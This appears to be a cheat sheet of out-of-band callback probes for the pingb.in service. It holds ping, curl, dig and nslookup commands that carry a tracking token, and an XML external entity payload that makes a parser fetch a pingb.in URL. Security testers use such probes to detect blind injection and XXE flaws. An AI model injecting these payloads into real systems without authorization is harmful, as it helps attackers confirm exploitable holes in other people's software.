$ ping -c1 -p 000c94474543ca683f1976fcd2d30700 pingb.in
 

$ curl pingb.in/p/0c94474543ca683f1976fcd2d307
 

$ dig 0c94474543ca683f1976fcd2d307 @pingb.in
 

$ dig 0c94474543ca683f1976fcd2d307.ns.pingb.in
 

C:\> nslookup 0c94474543ca683f1976fcd2d307 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/0c94474543ca683f1976fcd2d307">]>
    <foo>&xxe;</foo>